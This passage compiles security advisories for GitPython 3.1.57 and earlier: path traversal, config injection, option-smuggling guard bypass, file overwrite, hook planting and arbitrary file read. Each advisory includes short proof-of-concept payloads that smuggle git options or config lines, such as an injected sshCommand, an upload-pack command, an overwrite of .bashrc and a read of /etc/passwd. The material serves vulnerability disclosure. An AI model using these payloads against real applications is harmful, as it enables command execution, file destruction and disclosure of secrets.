'POC_RESULT=SAFE') if __name__ == '__main__': main() ``` 5. Exact captured terminal output (verbatim, from the original advisory's "Confirmed test run (Docker, released package)" section): ``` === GitPython PoC (vulnerable path) === GitPython version: 3.1.57 Cloned into: /work/victim_clone/repo submodule name: '../../../../../../tmp/gitpython_poc_escaped_root/modules_dir' submodule path: 'legit_dir' escape_target exists before update: False escape_target exists after update: True escape_target contents: ['modules_dir'] POC_RESULT=VULNERABLE === Control: real git CLI on identical repo === warning: ignoring suspicious submodule name: ../../../../../../tmp/gitpython_poc_escaped_root/modules_dir warning: ignoring suspicious submodule name: ../../../../../../tmp/gitpython_poc_escaped_root/modules_dir fatal: No url found for submodule path 'legit_dir' in .gitmodules CONTROL_RESULT=SAFE (real git correctly refused) ``` 6. Payload: the attacker rewrites the `.gitmodules` section header from `[submodule "legit_dir"]` to `[submodule "../../../../../../tmp/gitpython_poc_escaped_root/modules_dir"]` (built by `build_attacker_repo.sh`, part of the harness in `GHSA/testing/`). The malicious part is the `../../../../../../` traversal sequence embedded in the submodule *name* (not the tree-validated `path`), which becomes the on-disk target for the submodule's separate git directory. 7. Expected vs. observed: A safe implementation (as demonstrated by the real `git` CLI control run) rejects the submodule name with "ignoring suspicious submodule name" and refuses to create anything outside the repository. GitPython instead created the escape-target directory and a fully-initialized Git repository at `/tmp/gitpython_poc_escaped_root/modules_dir`, confirmed by `escape_target exists after update: True` and its listed contents. 8. Security impact demonstrated: arbitrary filesystem directory and Git-repository creation at an attacker-chosen absolute path outside the victim's intended clone directory, populated with attacker-controlled content sourced from the submodule's own (also attacker-controlled) `url`. ##### Impact Path traversal (CWE-22) / external control of file path (CWE-73) leading to arbitrary directory and Git-repository creation outside the intended clone directory. Integrity impact is High (attacker chooses destination path and, via the submodule URL, much of the written content); Confidentiality impact is None (only creation was demonstrated); Availability impact is Low-Medium (disk-exhaustion potential). No authentication is required; the attacker only needs to control a repository the victim clones and initializes submodules for - a routine, often fully-automatic operation in CI pipelines, IDE integrations, and dependency-management tooling. #### Severity - CVSS Score: 8.2 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:L` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-hmq2-w58f-27jc](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-hmq2-w58f-27jc) - [https://nvd.nist.gov/vuln/detail/CVE-2026-76222](https://nvd.nist.gov/vuln/detail/CVE-2026-76222) - [https://github.com/gitpython-developers/GitPython/pull/2202](https://github.com/gitpython-developers/GitPython/pull/2202) - [https://github.com/gitpython-developers/GitPython/commit/4299c990e1ca21896f9485277caf7bb0ae5b404c](https://github.com/gitpython-developers/GitPython/commit/4299c990e1ca21896f9485277caf7bb0ae5b404c) - [https://github.com/gitpython-developers/GitPython/commit/e4b8e7d026ca6abb4cf604f8e77093432ce23c06](https://github.com/gitpython-developers/GitPython/commit/e4b8e7d026ca6abb4cf604f8e77093432ce23c06) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58) - [https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3784.yaml](https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3784.yaml) - [https://www.vulncheck.com/advisories/gitpython-before-path-traversal-via-gitmodules-submodule-name](https://www.vulncheck.com/advisories/gitpython-before-path-traversal-via-gitmodules-submodule-name) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-hmq2-w58f-27jc) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### GitPython: git-config OPTION-name injection via =/#/whitespace bypasses name validator, enabling forged core.sshCommand/hooksPath (RCE) [CVE-2026-76221](https://nvd.nist.gov/vuln/detail/CVE-2026-76221) / [GHSA-jm78-9fvv-mhgr](https://github.com/advisories/GHSA-jm78-9fvv-mhgr) / PYSEC-2026-3783 <details> <summary>More information</summary> #### Details ##### Summary GitPython's config-name validator only neutralizes CR/LF/NUL for the `"option"` label; it does not reject `=`, `#`, `;`, `[`, `]`, or whitespace in an **option name**. `write_section` writes the option name verbatim into the config file, so an option name such as `sshCommand = touch <cmd> #` is written as `\tsshCommand = touch <cmd> # = <value>`, which git parses as `core.sshCommand = touch <cmd>` (the trailing `#` comments out the intended value). This forges arbitrary config directives (`core.sshCommand`, `core.hooksPath`, `alias.*`) → RCE on the next git operation. This is a distinct field (option name, not section name) and distinct character class (`=`/`#`/space, not newline/bracket) from GHSA-3rp5-jjmw-4wv2 (section-name bracket injection) and GHSA-mv93-w799-cj2w / GHSA-v87r-6q3f-2j67 (newline injection). ##### Root Cause `_assure_config_name_safe(name, label)` (`git/config.py:897`) applies the bracket/quote state machine ONLY when `label == "section"`; for the `"option"` label it falls through with just the `UNSAFE_CONFIG_CHARS_RE = [\r\n\x00]` regex. `write_section` then writes the option name verbatim into `"\t%s = %s\n"` (config.py:702). ##### Impact Arbitrary git-config directive injection → remote code execution via `core.sshCommand` (fires on any ssh git operation, no staged file needed) or `core.hooksPath` (with a staged hook). Requires the embedding application to forward a caller-influenced OPTION NAME into the config writer (name-control model, the same name-control model accepted by the related published advisories GHSA-3rp5-jjmw-4wv2 and GHSA-mv93-w799-cj2w). Default configuration. ##### Proof of Concept ```python with repo.config_writer() as cw: cw.set_value("core", "sshCommand = touch /tmp/RCE #", "x") ##### git config --get core.sshCommand -> touch /tmp/RCE ``` ##### Attack Chain 1. Entry: app calls config writer with attacker-controlled OPTION name: `set_value("core", "sshCommand = touch /tmp/RCE #", "x")`. 2. Check: `_assure_config_name_safe(option, "option")` @&#8203; config.py. Guard: regex matches only `[\r\n\x00]`; bracket/quote state machine is gated on `label=="section"`. Bypass proof: `=`,`#`,space pass → no `ValueError`. 3. Sink: `write_section` writes `"\tsshCommand = touch /tmp/RCE # = x\n"` (config.py:702). 4. Impact: git parses `core.sshCommand=touch /tmp/RCE` → arbitrary code execution on next git op. ##### Bypass Evidence Independently reproduced (gate harness): `set_value('core','sshCommand = touch <RCE> #','x')` → no `ValueError`; file line `sshCommand = touch <RCE> # = x`; `git config --get core.sshCommand` → `touch <RCE>` (rc=0). Also verified `core.hooksPath` via both `GitConfigParser` and `repo.config_writer()`. Fix-commit read: bracket/quote checks are inside `if label == "section"`; the `"option"` label is not covered. ##### Affected Versions `GitPython <= 3.1.57` (validator present verbatim on the latest release tag). ##### Suggested Fix Apply the section-name safety checks (reject `=`, `#`, `;`, `[`, `]`, whitespace) to the `"option"` label as well, or validate the fully-rendered config line after substitution. --- Reported by **zx (Jace)** — GitHub: @&#8203;manus-use #### Severity - CVSS Score: 8.8 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-jm78-9fvv-mhgr](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-jm78-9fvv-mhgr) - [https://github.com/gitpython-developers/GitPython/pull/2204](https://github.com/gitpython-developers/GitPython/pull/2204) - [https://github.com/gitpython-developers/GitPython/commit/a495ccd3b547ccd60b2187215823b72a9c0188bf](https://github.com/gitpython-developers/GitPython/commit/a495ccd3b547ccd60b2187215823b72a9c0188bf) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-jm78-9fvv-mhgr) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### GitPython: Unsafe git option guard bypass via split_single_char_options=False short-option token smuggling enables command execution [CVE-2026-76220](https://nvd.nist.gov/vuln/detail/CVE-2026-76220) / [GHSA-wvpp-8hx9-p66j](https://github.com/advisories/GHSA-wvpp-8hx9-p66j) / PYSEC-2026-3843 <details> <summary>More information</summary> #### Details ##### Summary The `check_unsafe_options` guard can be bypassed on every guarded method (clone/clone_from, fetch/pull/push, ls_remote, iter_commits, blame, archive) by combining a single-character kwarg with `split_single_char_options=False`. The guard's candidate list omits the smuggled option, but `transform_kwarg` emits a JOINED `-n<value>` argv token that git parses as `--upload-pack=<cmd>`, yielding arbitrary command execution at the default `allow_unsafe_options=False`. This is an incomplete-fix bypass of commit `e8d0fbf7` (the fix for GHSA-r9mr-m37c-5fr3), which only emits value-derived candidates when `split_single_char_options` is True. ##### Root Cause `_option_candidates` derives value-token candidates only under `if len(key)==1 and split_single_char_options:` (cmd.py:1048, added by `e8d0fbf7`). With `split_single_char_options=False`, `_option_candidates([], {"n":"utouch <cmd>;git-upload-pack"})` returns only `['-n']` (not on the denylist), so the guard passes. But `transform_kwarg('n', value, split_single_char_options=False)` emits the JOINED token `-nutouch <cmd>;git-upload-pack` (cmd.py:1631). git clusters value-less short flags then parses `-u<cmd>` = `--upload-pack=<cmd>` → command execution. The hardened guard WOULD block the joined token if it saw it — the flaw is it never receives it. ##### Impact Arbitrary OS command execution as the host process (via `--upload-pack`) at default `allow_unsafe_options=False`, affecting all guarded methods that forward kwargs. Precondition: the app forwards a user-controlled kwargs dict containing `split_single_char_options=False` plus a single-char key (same user-dict-forwarding model GHSA-r9mr-m37c-5fr3 accepts). ##### Proof of Concept ```python from git import Repo Repo.clone_from(src, dst, n="utouch /tmp/ACE;git-upload-pack", split_single_char_options=False) # /tmp/ACE created -> ACE ``` ##### Attack Chain 1. Entry: app forwards user kwargs to `Repo.clone_from(url, path, **kwargs)`: `{split_single_char_options: False, n: 'utouch /tmp/ACE;git-upload-pack'}`. 2. Check: `check_unsafe_options(_option_candidates([], kwargs), unsafe_git_clone_options)`. Guard: denylist includes `--upload-pack`/`-u`. Bypass proof: `_option_candidates` yields only `['-n']` (value token skipped because `split=False`); guard never sees `-u`. 3. Sink: `transform_kwarg` emits joined token (cmd.py:1631). argv (observed): `['git','clone','-v','-nutouch /tmp/ACE;git-upload-pack','--','<src>','<dst>']`. 4. Impact: git clusters `-n` + `-u<cmd>` → runs upload-pack command → ACE. ##### Bypass Evidence Independently reproduced (gate harness, default `allow_unsafe_options=False`): the `split=False` payload created the marker `VH05_GATE_ACE` (ACE); the clone returned normally (guard bypassed). Control: `n='--upload-pack=…'` (split default True) → `UnsafeOptionError: --upload-pack is not allowed`. Fix-commit read: `e8d0fbf7` extends candidates only under `if len(key)==1 and split_single_char_options:` — split=False skips value emission. Also confirmed the earlier clustering-parse fix (commit `56806080`) does not cover this because the guard only ever receives `['-n']`. ##### Affected Versions `GitPython <= 3.1.57` (code present verbatim on the latest release tag). ##### Suggested Fix Make `_option_candidates` emit value-derived candidates regardless of `split_single_char_options` (i.e. also for the joined `-n<value>` form), OR run `check_unsafe_options` over the fully-transformed argv rather than the reconstructed name-only candidate list. --- Reported by **zx (Jace)** — GitHub: @&#8203;manus-use #### Severity - CVSS Score: 8.8 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-wvpp-8hx9-p66j](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-wvpp-8hx9-p66j) - [https://nvd.nist.gov/vuln/detail/CVE-2026-76220](https://nvd.nist.gov/vuln/detail/CVE-2026-76220) - [https://github.com/gitpython-developers/GitPython/pull/2204](https://github.com/gitpython-developers/GitPython/pull/2204) - [https://github.com/gitpython-developers/GitPython/commit/96a888f4d782cb2f80452148e48e60ce4af6d541](https://github.com/gitpython-developers/GitPython/commit/96a888f4d782cb2f80452148e48e60ce4af6d541) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58) - [https://www.vulncheck.com/advisories/gitpython-before-command-execution-via-split-single-char-options](https://www.vulncheck.com/advisories/gitpython-before-command-execution-via-split-single-char-options) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-wvpp-8hx9-p66j) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### [CVE-2026-76221](https://nvd.nist.gov/vuln/detail/CVE-2026-76221) / [GHSA-jm78-9fvv-mhgr](https://github.com/advisories/GHSA-jm78-9fvv-mhgr) / PYSEC-2026-3783 <details> <summary>More information</summary> #### Details GitPython before 3.1.58 contains a config-name injection vulnerability in the option-name validator that allows attackers to forge arbitrary git-config directives by injecting equals signs, hash symbols, and whitespace into option names. Attackers can inject malicious option names like 'sshCommand = touch /tmp/RCE #' to execute arbitrary commands via core.sshCommand or core.hooksPath on the next git operation. #### Severity - CVSS Score: 8.7 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X` #### References - [https://www.vulncheck.com/advisories/gitpython-before-config-injection-via-option-name](https://www.vulncheck.com/advisories/gitpython-before-config-injection-via-option-name) - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-jm78-9fvv-mhgr](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-jm78-9fvv-mhgr) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3783) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### [CVE-2026-76222](https://nvd.nist.gov/vuln/detail/CVE-2026-76222) / [GHSA-hmq2-w58f-27jc](https://github.com/advisories/GHSA-hmq2-w58f-27jc) / PYSEC-2026-3784 <details> <summary>More information</summary> #### Details GitPython before 3.1.58 fails to validate submodule names from .gitmodules files, allowing attackers to create Git repositories at arbitrary filesystem paths outside the intended clone directory. Attackers can craft malicious repositories with traversal sequences in submodule names that GitPython processes during submodule initialization, creating attacker-controlled Git repositories at escaped filesystem locations. #### Severity - CVSS Score: 8.4 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X` #### References - [https://www.vulncheck.com/advisories/gitpython-before-path-traversal-via-gitmodules-submodule-name](https://www.vulncheck.com/advisories/gitpython-before-path-traversal-via-gitmodules-submodule-name) - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-hmq2-w58f-27jc](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-hmq2-w58f-27jc) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3784) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### GitPython: Unguarded git read-tree option forwarding in IndexFile.from_tree/reset/merge_tree enables arbitrary file overwrite [CVE-2026-76219](https://nvd.nist.gov/vuln/detail/CVE-2026-76219) / [GHSA-4gmw-gg2m-w46p](https://github.com/advisories/GHSA-4gmw-gg2m-w46p) / PYSEC-2026-3838 <details> <summary>More information</summary> #### Details ##### Summary `IndexFile.from_tree`, `IndexFile.reset` (→ from_tree) and `IndexFile.merge_tree` append caller-influenced treeish strings positionally to `git read-tree` with no unsafe-option guard, no `allow_unsafe_options` parameter, and no `--` separator. `git read-tree --index-output=<file>` writes the resulting index to an arbitrary path, and last-occurrence-wins lets an injected `--index-output` override the method's internal temp path — clobbering an arbitrary file with a valid git-index blob. This is a distinct, never-guarded sink: commit `3af0c251` (GHSA-3f7w-8rr8-f37f) guarded only `checkout_index` and `tag`; `read_tree` was left unprotected (it is among the acknowledged unguarded call sites in that advisory's sweep but was never reported or fixed). ##### Root Cause `from_tree` (index/base.py:388), `reset` (delegates to from_tree), and `merge_tree` (index/base.py:291) call `repo.git.read_tree(*arg_list)` with no `check_unsafe_options` and no `--`. The treeish is caller-influenced and positional. ##### Impact Arbitrary file overwrite / destruction at the privileges of the host process. Content is constrained to a git-index blob (not attacker-chosen, so not RCE), but the target path is fully attacker-controlled — corrupting/truncating configs or destroying files at attacker-chosen writable locations = I:H + A:H (per the skill's "overwrite-any-path = I:H" rule). Pure VALUE control (positional treeish). Default configuration. ##### Proof of Concept ```python IndexFile.from_tree(repo, "--index-output=/home/victim/.bashrc") ##### target overwritten with a valid git-index blob (DIRC...) ``` ##### Attack Chain 1. Entry: app calls `IndexFile.from_tree(repo, treeish)` / `reset(commit=…)` / `merge_tree(base=…, rhs=…)` with attacker `treeish="--index-output=/home/victim/.bashrc"`. 2. Check: NONE — the methods have no `allow_unsafe_options` and never call `check_unsafe_options`. 3. Sink: `repo.git.read_tree(*arg_list)` — no `--`. argv (from_tree, observed): `['git','read-tree','--index-output=<tmp>','--index-output=/…/victim']` (last-wins). 4. Impact: target path created/overwritten with a valid git-index blob; existing content destroyed. ##### Bypass Evidence Independently reproduced (gate harness): `IndexFile.from_tree(repo,'--index-output=<victim>')` → victim overwritten; before=`IMPORTANT ORIGINAL CONTENT`, after starts `DIRC\x00\x00\x00\x02…` (destructive clobber, valid index blob). `reset(commit=…)` and both `merge_tree` positionals verified. Fix-commit read: `3af0c251` touched only `checkout_index`+`tag`; `read_tree` untouched on HEAD. ##### Affected Versions `GitPython <= 3.1.57` (sinks present verbatim on the latest release tag). ##### Suggested Fix Add a `check_unsafe_options` guard (with an `allow_unsafe_options` parameter) to `from_tree`/`reset`/`merge_tree`, and/or place a `--` separator before the positional treeish arguments; block `--index-output` (a path-taking option) on this sink. #### Severity - CVSS Score: 8.1 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-4gmw-gg2m-w46p](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-4gmw-gg2m-w46p) - [https://nvd.nist.gov/vuln/detail/CVE-2026-76219](https://nvd.nist.gov/vuln/detail/CVE-2026-76219) - [https://github.com/gitpython-developers/GitPython/pull/2204](https://github.com/gitpython-developers/GitPython/pull/2204) - [https://github.com/gitpython-developers/GitPython/commit/9b5dcaf85da5946dbf69dcd53f9edba08f760b32](https://github.com/gitpython-developers/GitPython/commit/9b5dcaf85da5946dbf69dcd53f9edba08f760b32) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58) - [https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-overwrite-via-read-tree](https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-overwrite-via-read-tree) - [https://pypi.org/project/gitpython](https://pypi.org/project/gitpython) - [https://github.com/advisories/GHSA-4gmw-gg2m-w46p](https://github.com/advisories/GHSA-4gmw-gg2m-w46p) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3838) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### GitPython: Unguarded git option forwarding in Repo.init enables arbitrary command execution via --template clone hooks [CVE-2026-76218](https://nvd.nist.gov/vuln/detail/CVE-2026-76218) / [GHSA-9rj7-rf2p-w77r](https://github.com/advisories/GHSA-9rj7-rf2p-w77r) / PYSEC-2026-3840 <details> <summary>More information</summary> #### Details ##### Summary `Repo.init()` forwards `**kwargs` verbatim to `git init` with no unsafe-option guard and no `allow_unsafe_options` parameter. `git init --template=<dir>` copies `<dir>/hooks/*` into the new repo's `.git/hooks`, so an attacker-controlled `template` kwarg plants a hook that executes on the next git operation → arbitrary code execution. `--template` is already recognized as unsafe for clone (it is on `unsafe_git_clone_options`, and GHSA-6p8h-3wgx-97gf covers the clone path), but `Repo.init` is a distinct method that never received a guard and needs an independent fix. ##### Root Cause `Repo.init(path, mkdir, odbt, expand_vars, **kwargs)` is a bare `git.init(**kwargs)` (git/repo/base.py:1435) with no `check_unsafe_options` and no `allow_unsafe_options`. ##### Impact Arbitrary code execution (hook fires on next git op) at the privileges of the host process. Two preconditions raise attack complexity (AC:H): the app must forward a `template=` kwarg (KEY control) AND the attacker must stage an executable hook directory at a known path — the same profile GHSA-6p8h-3wgx-97gf accepted as HIGH for the clone path. Default `allow_unsafe_options` is irrelevant here because `Repo.init` has no guard at all. ##### Proof of Concept ```python ##### attacker stages /evil/hooks/post-commit (executable) from git import Repo Repo.init(path, template="/evil") ##### next commit runs /evil/hooks/post-commit -> ACE ``` ##### Attack Chain 1. Entry: attacker stages `/evil/hooks/post-commit` (executable) and gets the app to call `Repo.init(path, template='/evil')`. 2. Check: NONE on `Repo.init`. Bypass proof: base.py:1435 is a bare `git.init(**kwargs)`. argv (observed): `['git','init','--template=/evil']`. 3. Sink: git copies `/evil/hooks/post-commit` → `<repo>/.git/hooks/post-commit`. 4. Impact: next commit runs the hook → arbitrary code execution. ##### Bypass Evidence Independently reproduced (gate harness): `Repo.init(dst, template='<evil>')` → argv `['git','init','--template=<evil>']` unguarded; hook copied into `.git/hooks/post-commit`; after `git commit` the `INIT_ACE` marker was created. `--separate-git-dir=<path>` is a parallel arbitrary-redirect vector through the same unguarded sink (value control only). ##### Affected Versions `GitPython <= 3.1.57` (unguarded `git.init(**kwargs)` present verbatim on the latest release tag). ##### Suggested Fix Add a `check_unsafe_options` guard (with an `allow_unsafe_options` parameter) to `Repo.init`, consulting a denylist that includes `--template` and `--separate-git-dir` (path-taking / hook-installing options). --- Reported by **zx (Jace)** — GitHub: @&#8203;manus-use #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-9rj7-rf2p-w77r](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-9rj7-rf2p-w77r) - [https://nvd.nist.gov/vuln/detail/CVE-2026-76218](https://nvd.nist.gov/vuln/detail/CVE-2026-76218) - [https://github.com/gitpython-developers/GitPython/pull/2204](https://github.com/gitpython-developers/GitPython/pull/2204) - [https://github.com/gitpython-developers/GitPython/commit/d9ddb55bdc66](https://github.com/gitpython-developers/GitPython/commit/d9ddb55bdc66) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58) - [https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-repo-init](https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-repo-init) - [https://pypi.org/project/gitpython](https://pypi.org/project/gitpython) - [https://github.com/advisories/GHSA-9rj7-rf2p-w77r](https://github.com/advisories/GHSA-9rj7-rf2p-w77r) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3840) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### GitPython: Arbitrary file read via --pathspec-from-file in IndexFile.remove() and Head.checkout() [CVE-2026-76217](https://nvd.nist.gov/vuln/detail/CVE-2026-76217) / [GHSA-hh9p-6wh2-4mfc](https://github.com/advisories/GHSA-hh9p-6wh2-4mfc) / PYSEC-2026-3841 <details> <summary>More information</summary> #### Details ##### Summary `IndexFile.remove()` and `Head.checkout()` forward `**kwargs` into `git rm` and `git checkout` with no guard. Passing `--pathspec-from-file=<file>` **together with `--pathspec-file-nul`** makes Git treat the whole file as a single NUL-delimited pathspec, and the unmatched-pathspec error quotes it verbatim. GitPython surfaces that through `GitCommandError.stderr`, so the entire contents of a caller-chosen file are returned to the caller in band. This is the same primitive as Instance 2 of [GHSA-3f7w-8rr8-f37f](https://github.com/advisories/GHSA-3f7w-8rr8-f37f) - `TagReference.create()` with `-F`, arbitrary file read returned in band - at two sites that advisory assessed and cleared. ##### Prior art, and why I am filing rather than commenting GHSA-3f7w-8rr8-f37f's sweep table lists these four sites with the assessment *"`--pathspec-from-file` only reads a pathspec; no write or disclosure primitive found"*: | Call site | git command | that advisory's assessment | |---|---|---| | `IndexFile.remove()` | `rm` | `--pathspec-from-file` only reads a pathspec; no write or disclosure primitive found | | `IndexFile.move()` | `mv` | same | | `HEAD.reset()` | `reset` | same | | `HEAD.checkout()` | `checkout` | same | That assessment is very nearly right, and I think that is why it held: with `--pathspec-from-file` alone, Git splits on newlines and the error quotes only the **first line**, which reads as an uninteresting partial. Adding `--pathspec-file-nul` - a sibling flag of the same option, and the documented way to handle paths containing newlines - makes the whole file one pathspec. ##### Root cause `git/index/base.py:991-1043`: ```python def remove(self, items, working_tree=False, **kwargs): ... removed_paths = self.repo.git.rm(args, paths, **kwargs).splitlines() # line 1043 ``` `git/refs/head.py:237-268`: ```python def checkout(self, force: bool = False, **kwargs: Any): ... self.repo.git.checkout(self, **kwargs) # line 268 ``` Neither has an `allow_unsafe_options` parameter or a `check_unsafe_options()` call. ##### Proof of concept ```python from git import Repo from git.exc import GitCommandError repo = Repo("/path/to/repo") kw = dict(pathspec_from_file="/etc/passwd", pathspec_file_nul=True) try: repo.index.remove([], **kw) # or: repo.heads[0].checkout(**kw) except GitCommandError as e: print(e.stderr) # <- entire file contents ``` Observed on published 3.1.57, against a canary file holding three marked lines: ``` [PASS] IndexFile.remove() -> `git rm` returns ALL 3 canary lines in-band stderr: 'fatal: pathspec 'LINE1-CANARY-4242 LINE2-SECRET-7777 LINE3-TAIL-9999 ' did not match any files' [PASS] Head.checkout() -> `git checkout` returns ALL 3 canary lines in-band stderr: 'error: pathspec 'LINE1-CANARY-4242 LINE2-SECRET-7777 LINE3-TAIL-9999 ' did not match any file(s) known to git' [PASS] PRECISION: `git status` leaks 0/3 -- not every unguarded site discloses [PASS] PRECISION: the GUARDED checkout-index leaks 0/3 ``` The two precision controls are there so the result is about these sinks and not about the canary being visible everywhere. ##### Scope correction to the table above Of the four sites cleared with that sentence, **two disclose and two do not**: | Call site | disclosed? | |---|---| | `IndexFile.remove()` → `git rm` | **yes, full file** | | `Head.checkout()` → `git checkout` | **yes, full file** | | `HEAD.reset()` → `git reset` | no - `git reset` does not error on unmatched pathspecs | | `IndexFile.move()` → `git mv` | no | The two negatives are mentioned because "the dismissal was wrong" would overstate it: the dismissal was wrong for half of what it covered. #### Severity - CVSS Score: 6.5 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-hh9p-6wh2-4mfc](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-hh9p-6wh2-4mfc) - [https://nvd.nist.gov/vuln/detail/CVE-2026-76217](https://nvd.nist.gov/vuln/detail/CVE-2026-76217) - [https://github.com/gitpython-developers/GitPython/pull/2204](https://github.com/gitpython-developers/GitPython/pull/2204) - [https://github.com/gitpython-developers/GitPython/commit/f2550b65bf60ca087190981e2c7b6865e201f40c](https://github.com/gitpython-developers/GitPython/commit/f2550b65bf60ca087190981e2c7b6865e201f40c) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58) - [https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-pathspec-from-file](https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-pathspec-from-file) - [https://pypi.org/project/gitpython](https://pypi.org/project/gitpython) - [https://github.com/advisories/GHSA-hh9p-6wh2-4mfc](https://github.com/advisories/GHSA-hh9p-6wh2-4mfc) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3841) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### GitPython: Unsafe git option guard bypass via split_single_char_options=False short-option token smuggling enables command execution [CVE-2026-76220](https://nvd.nist.gov/vuln/detail/CVE-2026-76220) / [GHSA-wvpp-8hx9-p66j](https://github.com/advisories/GHSA-wvpp-8hx9-p66j) / PYSEC-2026-3843 <details> <summary>More information</summary> #### Details ##### Summary The `check_unsafe_options` guard can be bypassed on every guarded method (clone/clone_from, fetch/pull/push, ls_remote, iter_commits, blame, archive) by combining a single-character kwarg with `split_single_char_options=False`. The guard's candidate list omits the smuggled option, but `transform_kwarg` emits a JOINED `-n<value>` argv token that git parses as `--upload-pack=<cmd>`, yielding arbitrary command execution at the default `allow_unsafe_options=False`. This is an incomplete-fix bypass of commit `e8d0fbf7` (the fix for GHSA-r9mr-m37c-5fr3), which only emits value-derived candidates when `split_single_char_options` is True. ##### Root Cause `_option_candidates` derives value-token candidates only under `if len(key)==1 and split_single_char_options:` (cmd.py:1048, added by `e8d0fbf7`). With `split_single_char_options=False`, `_option_candidates([], {"n":"utouch <cmd>;git-upload-pack"})` returns only `['-n']` (not on the denylist), so the guard passes. But `transform_kwarg('n', value, split_single_char_options=False)` emits the 